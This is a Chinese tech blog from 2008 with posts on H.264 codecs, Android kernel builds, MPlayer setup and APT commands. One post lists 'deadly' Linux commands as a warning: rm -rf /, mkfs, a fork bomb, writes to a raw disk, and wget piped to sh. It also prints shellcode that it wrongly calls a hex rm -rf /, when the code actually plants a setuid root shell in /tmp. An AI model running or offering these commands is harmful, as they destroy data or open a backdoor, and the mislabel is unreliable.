I want to be a complete engineer - technical genius and sensitive humanist all in one!

Sunday, November 30, 2008

MPEG-4 AVC/H.264编码器荟萃

LIST of MPEG-4 AVC/H.264 VIDEO CODECS(Last updated 1 December 2005 - 62 items now!)
--------------------------------SOFTWARE CODECS:---------------------


Ateme H.264/MPEG-4 AVC Codec (Ateme)No download on original site:http://www.ateme.com/products/h264.phpSee 30 day trial of Nero Digital (with Nero Recode) available from: http://www.nerodigital.com/eng/index.html

VSS H.264 Video Codec (Vanguard Software Solutions, Inc.)Trial available, VfW.http://www.vsofts.com/h264/codecs.html

Elecard OneClick Compressor & Elecard AVC/H.264 Decoder Package (Elecard)21-day free trial. Have H.264 SDKhttp://www.elecard.com/products/oneclick.shtml

Mainconcept H.264 (MainConcept AG)Trial available on download pagehttp://www.mainconcept.com/h264_encoder.shtmlUse Elecard Encoder H.264 from March 2005.

Moonlight H.264 Video Codec (Moonlight Cordless LTD.)21-day evaluation, DirectX filter.http://www.moonlight.co.il/products/...r/oneclickavc/This codec was developed with Elecard team.

SONY Video Editor Vegas 6c with AVC support (Sony Corp.) NEW!!!30-days evaluation.http://www.sonymediasoftware.com/pro...ct.asp?PID=965

QuickTime 7 H.264 (Apple Computer, Inc.)Integrated. Who test it? Any remarks welcome!http://www.apple.com/quicktime/technologies/h264/

FastVDO H.264 (FastVDO LLC)Demo has decode time limit of 5 min.http://www.fastvdo.com/H.264.html

LEAD H.264 Video codec (LEAD Technologies)Only demo, but you can buy codec online (100$). Who test it?http://www.leadcodecs.com/Codecs/LEAD-H264.htm

Compression Master 3 (Popwire/Teleca AB) H264 encoder is all a part of Popwire's Compression Master. Demo soft available (encoding is limited to 20 seconds). http://www.popwire.com/product_info....&products_id=2

SVM H.264 Decoder Kit & MKi DVD Converter (Pegasus Information Technology Inc.)H.264 encoder and decoder with non standart format.http://www.h-264.com/downloads.htm

AVC Alliance free demo player (AVC Alliance, written by Philips Electronics)Poor but free.http://www.avc-alliance.nl/main/downloads.htm

Intel IPP H.264 codec (Intel Corporation) Intel IPP Library containe now H.264 encoder and decoder. Higher quality codecs are promised in 5.0 version (released now)http://www.intel.com/cd/software/pro.../ipp/index.htm

PowerEncoder MPEG-4 AVC (CyberLink Corp.) NEW!!!Available in online shop.http://www.cyberlink.com/multi/produ...in_43_ENU.html

ATI H.264 (ATI Technologies Inc.)No download. Software only and +HW support. Very fast codec by our tests.http://www.ati.com/technology/h264.html

Mpegable AVC Codec (dicas digital image coding GmbH)No download, VfWhttp://www.mpegable.com/show/mpegableavc.htmlOld version from free-codecs:http://www.codec-download.com/module...=getit&lid=436

Expert H.264 (PixelTools Corporation)Download on requesthttp://www.pixeltools.com/experth264.html

Softstream H.264/MPEG-4 (Media Excel)Audio & Video encoders ane decoders. Evaluation copy on requesthttp://www.mediaexcel.com/products.htm

MPEG-2/HDV/H.264 software (KDDI R&D Labs. Inc.)No download. MPEG related products also with H.264 supporthttp://avs.kddilabs.jp/mpeg/indexe.html

Fraunhofer IIS H.264 Codec (Fraunhofer IIS)No download.http://www.iis.fraunhofer.de/amm/download/mpeg4/

UBLive-264-C64 (UB Video Incorporated)Demo available on request.http://www.ubvideo.com/mainmenu.html

Sorenson Squeeze 4 Compression Suite (Sorenson)No download. Converter.http://www.sorensonmedia.com/solutio...d/mpg4_win.php

Sonic’s HD-Series AVC encoder (Sonic Solutions)No download. Only press release now.http://www.sonic.com/about/press/new.../hdseries.aspx

Enchansed sklmp4 (Pascal Massimino)No download. Announce of 264 development.http://skal.planet-d.net/coding/mpeg4codec.html

NEX VISION H.264 (NEX VISION)No download.http://www.nexvision.fr/

Hughes Network Systems H.264 (Hughes Network Systems, LLC) No download. Own Win&Linux codec for internal usagehttp://www.hns.com/HNS/Doc/0/MGD6UC9...3-04_IPoS.html

Imagicity H.264/AVC codec (Imagicity, UK) NEW!!!No download. Speed optimization claimed.http://www.imagicity.com/products/products.htm


-----------------------OPEN SOURCE:---------------------
x264 (free, supported by VideoLAN)OPEN SOURCE. Good publically available high profile encoder. Developers declare "early development stage", but encode results are one of the best.http://www.videolan.org/x264.html
http://x264.nl/

JM 9.6 reference H.264 encodec (free, supported by Joint Video Team ISO+ITU-T)OPEN SOURCE. Can be used only for stream testing.http://bs.hhi.de/~suehring/tml/

libavcodec H.264 Decoder (Project FFMPEG)OPEN SOURCE. Permanently updated decoder.http://ffmpeg.sourceforge.net/index.php

Hdot264 Pre-Alpha (Project Hdot264)OPEN SOURCE.http://sourceforge.net/projects/hdot264/

t264 (Project t264)OPEN SOURCE.http://sourceforge.net/projects/t264

Minimal H.264 decoder (by Martin Fiedler)OPEN SOURCE. Basic decoder.http://www-user.tu-chemnitz.de/~mfie/stuff/SA/



---See also Software Developments Kits for software codec usage:---

Elecard AVC&MPEG2 Encoder SDK (Elecard)MPEG2 and H.264 Video Encoder and Decoders other components within the DirectShow® technology.http://www.elecard.com/products/encoder_sdk.shtml

MainConcept H.264 SDK (MainConcept AG)Windows, Apple, Linux and TI DSP supported.http://developer.mainconcept.com/h264-sdk.html

LEADTOOLS Multimedia Developer SDKs (LEAD Technologies, Inc)Support for many-many formats, including H.264 http://www.leadtools.com/SDK/Multime...Products-n.htm

MPEG SDK "MP-Factory" (KDDI R&D Labs. Inc.)SDK with H.264, HDV, MPEG-1,-2, and -4 supporthttp://avs.kddilabs.jp/mpeg/mpfs32/indexe.html

VSS H.264 SDK (Vanguard Software Solutions, Inc.)Based on there codec. Windows and Linux support.http://www.vsofts.com/h264/sdk.html

Pegasus H.264 SDK Development Kits (Pegasus)Looks like simple codec, but prefilters declared.http://www.h-264.com/Products.htm


-------------------------HARDWARE IMPLEMENTED:---------------------
Sony PlayStation Portable (Sony Computer Entertainment Inc.)Product: Support H.264/MPEG-4 AVC Main Profile Level3 decoding.http://www.us.playstation.com/consoles.aspx?id=4
See also Image Converter 2 Plus:http://www.jp.sonystyle.com/Nws/Soft...710489100.html

VSX 300 Videoconferencing Terminal with H.264 support (Polycom Inc)Product: Biggest HW videoconferencing company, prepare many solutions with 264 supporthttp://www.polycom.com/products_serv...5-6197,00.html

Tandberg EN5930 (Tandberg Television)Product for videoconferencing. Who test it? I have bad review.http://www.tandbergtv.com/productview.asp?n=65

Tandberg Telecom - video communication (Tandberg Telecom)Product for videoconferencing, supports H.264 baseline profile.http://www.tandberg.net/collateral/w...apers/H264.pdf

4Caster MPEG-4 / H.264 Encoder (Envivio, Inc.)Product: Hardware box encoderhttp://www.envivio.com/products/4caster.htmlhttp://www.envivio.com/products/4caster_se.html (software, no download)

Tut Systems MPEG-4 AVC (Tut Systems, Inc.)Product: Hardware transcoder box.http://www.tutsys.com/pdflibrary/pdf...AVC_2_9_05.pdf

Hardware MGW 5100 (Optibase, Inc.)Product: Hardware box encoderhttp://www.optibase.com/Content.aspx?id=38

Harmonic DiviCom® MV 100 Encoder (Harmonic Inc. )Product: Hardware box encoder http://www.harmonicinc.com/view_csd_...m?classID=1010

SkyStream Mediaplex & iPlex (SkyStream Networks , inc.) Product: Hardware box encoder. Platforms contain the AVC Encoder Submodule, press release only http://www.skystream.com/press/2005/041805-mpeg4.asp

E42 - H264 DVB over IP Broadcast Encoder (StreamTel Corporation) Product: Hardware box encoder. Broadcast-Grade real time H264 DVB IP streaming encoder http://www.streamtel.com/streamtel/p...st_Encoder.htm

Darim MV401EXP-H264 Encoder and MV410EXP Decoder (Darim Vision Co., Ltd.)Product: Hardware box Encoding/Streaming systems http://www.darimmedia.com/products/mv401exp-h264.php

Mayah I [io] 8000 series (MAYAH Communications)Product: Hardware box. Plan AVC availability in Q3 '05. http://www.mayah.com/products/io-8000a.htm

Thales ARGOS MPEG-4 Encoder (Thales Broadcast & Multimedia, Inc.)Product: Hardware box. Plan AVC from July 05. http://www-db.thomcastcom.ext.coltfr..._ID=1&P_ID=221

ViBE MPEG-4 AVC (Thomson)Chip: modular hardware series of encodershttp://www.thomsongrassvalley.com/pr...encoder_mpeg4/

Broadcom chips (Broadcom Corp. former Sandvideo)Chip with H.264 HD / decoding onlyhttp://www.broadcom.com/products/Cab...-Chips/BCM7411

Sentivision H.264/AVC Decoder (Sentivision, Japan) Chip with H.264 HD / decoding only / only for TI DSP'shttp://www.sentivision.com/products/h264/h264-en.html

SA AVC Encoder (Scientific Atlanta)Product: Transmission system (for satellite TV)http://www.saeurope.com/products/customerhome.htm

H.264 VLE4000 (LSI Logic Corp. former: VideoLocus)Chips with 264 supporthttp://www.lsilogic.com/products/vid...g/vle4000.html

Modulus Video SDTV, HDTV Encoder (Modulus Video, Inc.)Chips. Declarations only now. License H.264 from LSI Logic.http://modulusvideo.com/main.php?Page=12

BSP 15 (System-on-chip) (Equator Technologies, Inc.)Chips. No exact codec info.http://www.equator.com/solutions/digitalmedia.html

BT Exact H.264 Suite (BT Exact)temporarily not availablehttp://www.btexact.com/technologies/...iles?doc=42895

Surveillance Real Time H.264 Encoders (DSP Research, Inc.)Several chips implementation.http://www.dspr.com/www/products/overview_video.htmhttp://www.dspr.com/www/support/down...o_download.htm

VP3-PMC / Hardware TwinPEG Pro (Vitec Multimedia)Chips. TMS320DM642TMDSP & etchttp://www.vitecmm.com/product.php?id=41

WWComs H.264 Codecs (W&W Communications Inc.)Several chips implementation (TI DM64x, C64xx, Freescale DSPs).http://www.wwcoms.com/products/h264_codec.htmhttp://www.wwcoms.com/products/codec/bc264.htm

CX2418x H.264 Video Decoder IC (Conexant Systems, Inc.)HW Decoder with Main & High Profile (on CX24182)http://www.conexant.com/products/entry.jsp?id=920

Sigma Designs HD decoder (Sigma Designs, Inc.)HW HD Decoder based on SMP8630 familyhttp://www.sigmadesigns.com/products/SMP8630series.htm

Cradle Technologies H.264 (Cradle Technologies, Inc.) HW Main profile Encoder based on CT3600 MDSP familyhttp://www.cradle.com/products/asw_ct3600_h264.shtml

STMicroelectronics H.264 (STMicroelectronics)HW HD High Profile decoderhttp://www.st.com/stonline/products/...e/bd/11102.htm

PacketVideo H.264 (PacketVideo Corp.) HW Base Profile encoder/decoder on ARM/OMAP/DM642http://www.packetvideo.com/solutions/

Tuesday, November 25, 2008

房子的秘密

猪头 =【我们这些可怜的工薪族】
老鼠 =【银行】
王八 =【房地产公司】
狐狸 =【TMD我也不知道怎么定位这个混蛋】
狼 =【吃人的政府】
驴 =【炒房团】

猪通过勤劳致富有5元钱存在老鼠开的钱庄里。
猪打算拿这5元钱建一个小窝,
大盖要花2元卖地,
花3元搭窝。
王八是搞工程的,
他想在猪身上挣更多的钱,
于是找来当投资顾问的狐狸想办法,
狐狸说:这好办。
于是找来管地盘的狼,
开钱庄的老鼠一起来商议,
结果王八从老鼠那里借来200元,
用100元卖了狼的地,
花了3元把猪窝盖好,
花了50元给了狐狸咨询服务费,
猪没有地,
只好求王八把窝卖给它,
王八要价500元,
老猪说只有5元买不起,
这时候狐狸说服猪去向老鼠借钱,
老鼠答应借500给猪,
前提是要他连本带利还600元,
可以分10年还清,
并且产权证拿来抵押。
结果成交。
猪到最后花了600元买来了猪窝,
比他原来的计划高了11倍,
猪努力了十年去挣钱还贷 。
在这场交易里面,
狼,老鼠,狐狸还有王八都挣了钱。
以后他们就如法炮制。
更多的猪去贷款买房子了,
这时候,
当商人的驴看到有机可乘,
到老鼠那里贷了好多好多的款,
把王八盖的房子都买下来,
然后以更高的价格卖给了猪。
猪的还贷期就越来越长,
吃的越来越差,
小猪崽子也不敢生了。
由于猪的数目越来越少,
狼觉得这样下去自己没有猪肉吃了,
非饿死不可,
于是开始调控,
不让老鼠再借钱了。
但是王八还没有停止盖房,
把自己挣的钱和贷的钱全投入生产了。
驴手上的猪窝囤积的很多,
卖不动了被套牢了。
结果,
老鼠,王八,还有驴都挣了好多的猪窝。
钱到最后集中到狼手上。
如今,
谁都等着狼把钱拿出来救命。
聪明的你,如果你是狼,你会拿钱救哪个?

Sunday, November 23, 2008

7个致命的Linux命令

以下是7个致命的Linux命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
  1. rm -rf /

    此命令将递归并强制删除/目录下的所有文件。

  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    这是rm -rf / 的hex(十六进制)版本,很能迷惑Linux用户。

  3. mkfs.ext3 /dev/sda

    这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

  4. :(){ :|:& };:

    著名的fork炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

  5. any_command > /dev/sda

    使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

  6. wget http://some_untrusted_source -O- | sh

    不要从不信任的地方下载东西,这可能会获取恶意代码。

  7. mv /home/yourhomedirectory/* /dev/null

    此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

Friday, November 14, 2008

Android 开发参考资源

編譯Android內核

1. 獲得 toolchains 從 http://www.codesourcery.com/gnu_toolchains/arm/portal/subscription?@template=lite (選擇 ARM EABI 和 IA32 GNU/Linux).

2. 獲得內核源代碼從 http://code.google.com/p/android/downloads/list

3.部署 toolcains 和 內核源碼進入內核源碼樹。

$ mkdir -p android
$ cd android
$ tar xjvf ../arm-2007q3-51-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
$ tar xzvf ../linux-2.6.23-android-m3-rc20.tar.gz
$ cd kernel

4. 獲得 config.gz 來自正在運行的emulator 通過下面你的方法。

$ adb pull /proc/config.gz .

5. 解壓縮 config.gz 并重命名為 .config

$ gunzip config.gz
$ mv config .config

6. 指定 CROSS_COMPILE (譯注:交叉編譯器)在 Makefile 中。

CROSS_COMPILE=../arm-2007q3/bin/arm-none-linux-gnueabi-

7. 评论指出 LDFLAGS_BUILD_ID 在相同的 Makefile。
The LDFLAGS_BUILD_ID enables --build-id 選擇 ld 如果可以得到。
The --build-id 選擇相對較新的。
目前的模擬器似乎不支持內核鏈表這個選項。

http://fedoraproject.org/wiki/Releases/FeatureBuildId 如果你有興趣這些詳細的選項。

#LDFLAGS_BUILD_ID = $(patsubst -Wl$(comma)%,%,\
$(call ld-option, -Wl$(comma)--build-id,))

8. Make the kernel(制作內核)

$ make

9. 檢查 zImage 是被創建的和大小相近的kernel-qemu 在 Andorid SDK 中。

$ ls -l arch/arm/boot/zImage
-rwxrwxr-x 1 motz motz 1234712 2007-12-01 18:06 arch/arm/boot/zImage
$ ls -l $SDK/tools/lib/images/kernel-qemu
-rwxrwxr-x 1 motz motz 1245836 2007-11-12 5:59 ...sdk/tools/lib/images/kernel-qemu

10. 運行 emulator 被創建的內核

$ emulator -kernel arch/arm/boot/zImage

Wednesday, November 12, 2008

Vimperator---把Firefox变成Vim

喜欢Firefox的一个很重要的原因就是Firefox拥有无数非常好玩的插件,今天偶然又发现了一个好玩的插件,就是Vimperator。它可以把整个Firefox变成Vim的操作方式。
Vim是Vi编辑器的Improved版本,是linux下最为强大的编辑工具。它与我们传统的文字编辑器不同的是,它对键盘的利用率几乎达到极致。因此 熟练的人操作vim你会看到他的手指在键盘上面飞动,编辑效率及其高效,当然对于普通人,特别是初学者来说,Vim可能显得比较别扭。
Vimperator引入了和Vim类似的概念来操作浏览器。例如它也有命令模式和插入模式,在命令模式下,我们可以t键然后输入一个url,这样就可以 在新标签页打开。或者按住o键输入url可以在当前标签打开。标签切换使用ctrl+P/N来左右切换,按住大写的U可以撤销刚才不小心关闭的页面,按d 删除键可以关闭当前标签,页面浏览时使用和Vim一摸一样的方式,都是hjkl来上下左右移动屏幕.试用了一下,发现用起来真的非常舒服,不用在键盘,鼠 标或者触摸屏上来回切换.
它还有其他一些功能,可以快速添加收藏夹呀,还有命令自动补全,等等.
具体的帮助信息可以按住:号,切换到命名行模式,然后输入help来看官方的帮助文档,或者直接按F1也行.需要注意的是初始安装完之后,默认情况下是会 把菜单和工具栏隐藏起来的,你可以输入:号切换到命令行模式,然后输入set guioptions+=mT来开启.只要退出时按两下大写的Z就可以保存当前设置退出.

kernel 支持yaffs2文件系统

first download yaffs2 source code,
(1) copy "yaffs2" to "linux-2.6.26/fs/"
(2) edit "fs/Makefile"
obj-$(CONFIG_YAFFS_FS) += yaffs2
(3) edit "fs/Kconfig"
# Patched by YAFFS
source "fs/yaffs2/Kconfig"

config JFFS2_FS # add here above

(4) make menuconfig
File systems --->
Miscellaneous filesystems --->
<*> YAFFS2 file system support
-*- 512 byte / page devices

#cd fs/yaffs/utils/
#make
#./mkyaffs2image
#./mkyaffsimage

Monday, November 10, 2008

在文本界面(Text Console)下播放音视频

前一段时间在youtube看到了一段使用Linux文本字符流来播放电影,网址

http://www.youtube.com/watch?v=ji0A3kOAc9U,感觉非常有意思,拿出来大家一起娱乐,也巩固一下内核编译和驱动的知识。

首先,确保内核支持VESA(视频电子标准)驱动。并保证内核选择了正确的声卡驱动程序。
以我的机器为例,我的是普通VGA显卡(主板集成,8M显存),声卡是Intel AC97,则在内核中选择以下

必须要支持以下功能:
(1)VESA模式的支持
Device Drivers ---> Graphics support --->
VGA 16-color graphics support
[*] VESA VGA graphics support

(2)相关音频接口的支持,例如:Sequencer support(MIDI接口的支持)
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture --->
Advanced Linux Sound Architecture
Sequencer support
Sequencer dummy client
OSS Mixer API
OSS PCM (digital audio) API
[*] OSS PCM (digital audio) API - Include plugin system
......

(3)声卡驱动
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture ---> PCI devices --->
Intel/SiS/nVidia/AMD/ALi AC97 Controller (AC97声卡)

确保内核支持以上功能后,就可以安装软件了。下面是安装软件的步骤:


1. 下载软件,全部存储到/mnt/source目录下
mkdir -p /mnt/source
cd /mnt/source
wget http://prdownloads.sourceforge.net/aa-project/aalib-1.4rc4.tar.gz
wget http://www4.mplayerhq.hu/MPlayer/releases/MPlayer-1.0rc1.tar.bz2
wget http://www4.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
wget http://downloads.sourceforge.net/lrmi/lrmi-0.10.tar.gz?modtime=1133743627&big_mirror=0

2. 准备vesautils(自持VESA需要)
svn checkout svn://svn.mplayerhq.hu/vesautils/trunk vesautils

3. 准备解码器库文件
tar essential-20061022.tar.bz2
mkdir /usr/local/lib/codecs
cp essential-20061022/* /usr/local/lib/codecs

4. 修改/etc/ld.so.conf,添加下面的行
/usr/local/lib

5. 编译lrmi
cd /mnt/source
tar -zxvf lrmi-0.10.tar.gz
cd lrmi-0.10
make
make install

6. 编译vesautils
cd /mnt/source/vesautils/libvbe/
make
make install

7. 编译软件aalib
tar -zxvf aalib-1.4rc4.tar.gz
cd aalib-1.4.0
./configure
make
make install

8. 编译Mplayer
tar -jxvf MPlayer-1.0rc1.tar.bz2
cd MPlayer-1.0rc1
编辑configure文件,找到4195行,即:
4195 _ld_aa=`aalib-config --libs | cut -d " " -f 2,5,6`
在该行的后面添加下面两行:
else
_ld_aa="-laa"

./configure --with-codecsdir=/usr/local/lib/codecs --with-win32libdir=/usr/local/lib/codecs

--with-reallibdir=/usr/local/lib/codecs --enable-aa --enable-vesa
make
make install

9. 测试
下载就可以在Text Console下播放电影了。
mplayer -vo vesa 电影文件名

要测试Videos in ASCII Art
mplayer -vo aa 电影文件名

10. 如果VESA播放时分辨率不高,修改/etc/grub.conf文件,在kernel参数后添加选项vga=791。
例如:
kernel /vmlinuz-2.6.18 ro root=/dev/VolGroup00/LogVol00 rhgb quiet vga=791

Friday, November 7, 2008

ebook 引擎

迄今為止美國前3名的電子書搜索網站是:
www.pdfgeni.com
www.pdf-search-engine.com
www.data-sheet.net

這些網站主要為科技書籍,涵蓋從計算機科學,工程和數學編程和網路的發展...等等,內容豐富。 www.freecomputerbooks.com
www.freetechbooks.com
www.onlinecomputerbooks.com

程序员

一个你认为不起眼的小事情也会让人感觉莫大的惊喜。岁月会让我们老去,但兴趣,专业的心态不会。我更希望在帮传代的过程中,用朴素的,职业的技术情节影响新生代程序员,推动行业的整体进步。

Thursday, November 6, 2008

工作

工作就是工作,你是拿钱的,公司/客户是给钱的,那你就要让客户/公司爽;
兴趣是兴趣,是让你爽,那是你倒贴钱的。
所以呢,工作和兴趣一样,那是别人付钱让你爽,哪来的好事?
不排除又拿钱又爽的事情,有这样的事?有,但那是小概率事件。
公司和客户就是嫖客,我们是妓女!你没有选择,要不就回家种地!

最精简的房产内幕

刚刚才搞明白, 原来中国不存在个人破产保护制度, 于是, 当房子成为负资产, 你断供, 流程就是这样的:

-> 银行起诉你,但你还是没钱

-> 银行以很低(低于市场价格)的价格把你的房子拍卖出去, 据说黑幕不小

-> 你欠银行60万,房子拍卖了20万(天知道拍给哪个亲戚了),剩下的40万你依然要还, 否则:

-> 从今以后,你的任何国内银行的账户, 只要上面有一毛钱, 都会被划走。

怪不得中国没有次贷危机呢, 原来是嫁祸给业主了。 老美爽啊,一旦房子成为负资产, 拍屁股走人, 银行爱咋地咋地。

Monday, November 3, 2008

常用的APT命令参数

特简单记录于此,以备不时之需

apt-cache search package 搜索包

apt-cache show package 获取包的相关信息,如说明、大小、版本等

apt-get install package 安装包

apt-get install package - - reinstall 重新安装包

apt-get -f install 修复安装"-f = ——fix-missing"

apt-get remove package 删除包

apt-get remove package - - purge 删除包,包括删除配置文件等

apt-get update 更新源

apt-get upgrade 更新已安装的包

apt-get dist-upgrade 升级系统

apt-get dselect-upgrade 使用 dselect 升级

apt-cache depends package 了解使用依赖

apt-cache rdepends package 是查看该包被哪些包依赖

sudo apt-get build-dep package 安装相关的编译环境

apt-get source package 下载该包的源代码

sudo apt-get clean && sudo apt-get autoclean 清理无用的包

sudo apt-get check 检查是否有损坏的依赖

apt-get update——在修改/etc/apt/sources.list或者/etc/apt/preferences之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。

apt-get install packagename——安装一个新软件包(参见下文的aptitude)

apt-get remove packagename——卸载一个已安装的软件包(保留配置文件)

apt-get –purge remove packagename——卸载一个已安装的软件包(删除配置文件)

dpkg –force-all –purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就可以用这个,不过有点冒险。

apt-get autoclean apt会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件

apt-get clean 这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的。

apt-get upgrade——更新所有已安装的软件包

apt-get dist-upgrade——将系统升级到新版本

apt-cache search string——在软件包列表中搜索字符串

dpkg -l package-name-pattern——列出所有与模式相匹配的软件包。如果您不知道软件包的全名,您可以使用“*package-name-pattern*”。

aptitude——详细查看已安装或可用的软件包。与apt-get类似,aptitude可以通过命令行方式调用,但仅限于某些命令——最常见的有安装和卸载命令。由于aptitude比apt-get了解更多信息,可以说它更适合用来进行安装和卸载。

apt-cache showpkg pkgs——显示软件包信息。

apt-cache dumpavail——打印可用软件包列表。

apt-cache show pkgs——显示软件包记录,类似于dpkg –print-avail。

apt-cache pkgnames——打印软件包列表中所有软件包的名称。

dpkg -S file——这个文件属于哪个已安装软件包。

dpkg -L package——列出软件包中的所有文件。

apt-file search filename——查找包含特定文件的软件包(不一定是已安装的),这些文件的文件名中含有指定的字符串。apt-file是一个独立的软件包。您必须 先使用apt-get install来安装它,然後运行apt-file update。如果apt-file search filename输出的内容太多,您可以尝试使用apt-file search filename | grep -w filename(只显示指定字符串作为完整的单词出现在其中的那些文件名)或者类似方法,例如:apt-file search filename | grep /bin/(只显示位于诸如/bin或/usr/bin这些文件夹中的文件,如果您要查找的是某个特定的执行文件的话,这样做是有帮助的)。

apt-get autoclean——定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可 以使用apt-get clean以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试。

Labels

Followers